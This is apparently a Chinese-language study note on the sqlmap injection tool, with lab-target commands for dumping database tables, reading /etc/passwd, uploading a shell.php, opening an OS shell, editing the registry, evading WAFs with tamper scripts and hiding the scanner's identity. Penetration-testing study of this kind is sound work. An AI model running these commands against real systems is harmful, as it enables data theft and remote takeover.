初探SQL Map
五种漏洞检测技术
- 基于布尔的盲注检测
- 基于时间的盲注检测
- 基于错误的检测
- 基于UNION 联合查询的检测
- 基于堆叠查询的检测
GET
sqlmap -u "http://192.168.2.101/mutillidae/index.php?page=user-info.php&username=a&password=a&user-info-php-submit-button=View+Account+Details" -p username -f
-p:检查哪个参数
-f:检查数据库指纹(fingerprint)
–user:查看数据库的用户
–banner:查看banner 信息
–dbs:查询数据库
–schema:查看元数据库
-a:全查
日志路径:.local/share/sqlmap/output/
- 如果知道账号密码可以直接连接查询:
sqlmap -d "mysql://user:password@192.168.2.101:3306:dvwa" -f --users
- 检测多个url
sqlmap -m list.txt --dbs
- 利用谷歌
sqlmap -g "inurl:\"http:www.test.com\index.php?id=1\""
POST
- 使用Burp保存请求文件post.txt
sqlmap -r post.txt --dbs
- 使用Burp 到Project options-Misc-Logging-Proxy-勾选Requests,保存到log.txt
sqlmap -l log.txt
HTTPS
sqlmap -u "URL" --force-ssl
详解
Request
数据段:–data
get/post 都适用
GET:
sqlmap -u "http://192.168.2.102/mutillidae/index.php" --data="page=user-info.php&username=a&password=a&user-info-php-submit-button=View+Account+Details" -p username --dbs
POST:
sqlmap -u "http://192.168.2.101/mutillidae/index.php?page=login.php" --data="username=a&password=a&login-php-submit-button=Login" -f
- 指定变量分隔符:–param-del
sqlmap -u "http://1.1.1.1/a.php" --data="user=a;password=b" --param-del=";" -f
身份认证
如果想要检查Cookie 中的注入点,level>=2:
–level=2
- 基于Cookie
sqlmap -u "http://192.168.2.102/dvwa/vulnerabilities/sqli/?id=a&Submit=Submit" --cookie="security=low; PHPSESSID=cbafbc5dfd1dd801b2910c7931e8ba96" --dbs
set-cookie/--drop-set-cookie/-cookie-del
- 基于HTTP 协议
Basic/Digest/NTLM
--auth-type Basic/Digest/NTLM --auth-cred "user:pass"
- 基于客户端证书
--auth-file="ca.PEM"
USER-AGENT
如果想要检查user-agent 中的注入点,level>=3:
–level=3
尽量不要使用默认user-agent,会暴露身份
--user-agent="Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.163 Safari/537.36"
--random-agent
Host:–host
如果想要检查user-agent 中的注入点,level=5:
–level=5
Referer:–referer
如果想要检查user-agent 中的注入点,level>=3:
–level=3
自定义 header:–headers
每个头单独一行(\n)(严格名称区分大小写)
--headers="Host:xxx\nUser-Agent:xxx"
指定方法:–method
--method=GET/POST
代理
--proxy="1.1.1.1:8080"
--proxy-cred="name:pass" # 认证代理(如果需要)
--ignore-proxy # 忽略系统代理,通常用于扫描本地目标
利用配置文件扫描
sqlmap -c sqlmap.config
Injection
指定或排除注入点(伪静态页面注入方法)
- 指定注入点:-p
会使level 失效
-p "user-agent,referer"
对于特殊变量,在变量后加*(伪静态页面注入方法)
sqlmap -u "http://www.test.com/param1/value1*/param2/value2"
- 排除注入点:–skip
--level=5 --skip="id,user-agent"
指定数据库或系统
用于已经在信息收集时发现了数据库版本或操作系统信息:
--dbms "mysql"
--dbms "mysql <5.0>"
--os="linux"
--os="windows"
使数值失效方法
默认失效方法为取负值,即id=1变为id=-1
- 大数值失效
--invalid-bignum
- 布尔失效
--invalid-logical
需要闭合的前后缀
–prefix/–suffix
--prefix"')" --suffix"AND ('a'='a'"
后端sql语句
select * from user where id=('1') <PAYLOAD> AND('a'='a') limit 0,1
绕过应用层过滤、IPS、WAF
脚本路径:/usr/share/sqlmap/tamper/xxx
--tamper="a.py,b.py,c.py"
sqlmap -u "http://1.1.1.1/a.php?id=1" --tamper="base64encode.py,randomcase.py"
Detection
扫描等级及风险
- level
1-5级(默认1) - risk
1-4(默认1)
risk升高可能造成数据破坏
盲注时判断依据
–string(包含字符串),–not-string(不包含字符串),–regexp(正则表达式),
–code(响应代码)
–text-only,–titles(title)
Techniques
指定列数
--union-cols 6-9
另一个页面体现出的sql注入
--second-order http://1.1.1.1/b.php
指纹及banner
-f/–fingerprint
–banner
Enumeration
–batch(都执行默认选项)
--hostname # 主机名
--current-user # 当前数据库管理账号
--users # 数据库的所有账号
--privileges # 查询所有用户权限
--privileges-CU # 查询当前用户权限
--privileges-U username # 查询指定用户权限
--current-db # 查询当前数据库
--dbs # 查询所有数据库
--exclude-sysdbs # 不显示系统数据库
-D dvwa --tables # 查指定数据库的表
-D dvwa -T users --columns # 查询指定表的字段
-D dvwa -T users --count # 有多少条记录
-D dvwa -T users --dump # 查记录
-D dvwa -T users --dump --start 1 --stop 2 # 查询第1,2条
--sql-query "select * from users" # 自定义sql 语句
Brute force
当无法查看information_schema数据库时,通过暴力破解
--common-tables
--common-columns
微软的ACCESS 数据库无表无列
File system acces
读取文件
--file-read="/etc/passwd"
写文件
--file-write="shell.php" --file-dest"/tmp/shell.php"
# shell.php为本机当前目录文件
Operating system access
获取shell
--os-cmd
--os-shell
--sqlshell
Windows registry access
--reg-read
--reg-add
--reg-del
--reg-key
--reg-value
--reg-data
--reg-type
sqlmap -u "http://1.1.1.1/q.aspx?id=1" --reg-add --reg-key="HKEY_LOCAL_MACHINE\SOFTWARE\sqlmap" --reg-value=Test --reg-type=REG_SZ --reg-data=1
General
指定保存位置和输出路径
-s # 会话文件保存位置
-t # 流量文件保存位置
--output-dir=/tmp
字符编码
--charset=GBK
爬取深度
--crawl=3
自定义保存分割符
--cvs-del=";"
清空session(sqlmap缓存)
--flush-session
--fresh-queries # 本次重查
HTTPS
--force-ssl
以十六进制传输
--hex
分析报错信息
--parse-errors
Miscellaneous
检查WAF/IPS/IDS和绕过
--check-waf
--identify-waf # 彻底检查
--hpp # 对ASP/IIS有效
模拟智能手机
--mobile # 修改useragent
清空文件夹
purge-output:清除文件
向导方式
sqlmap --wizard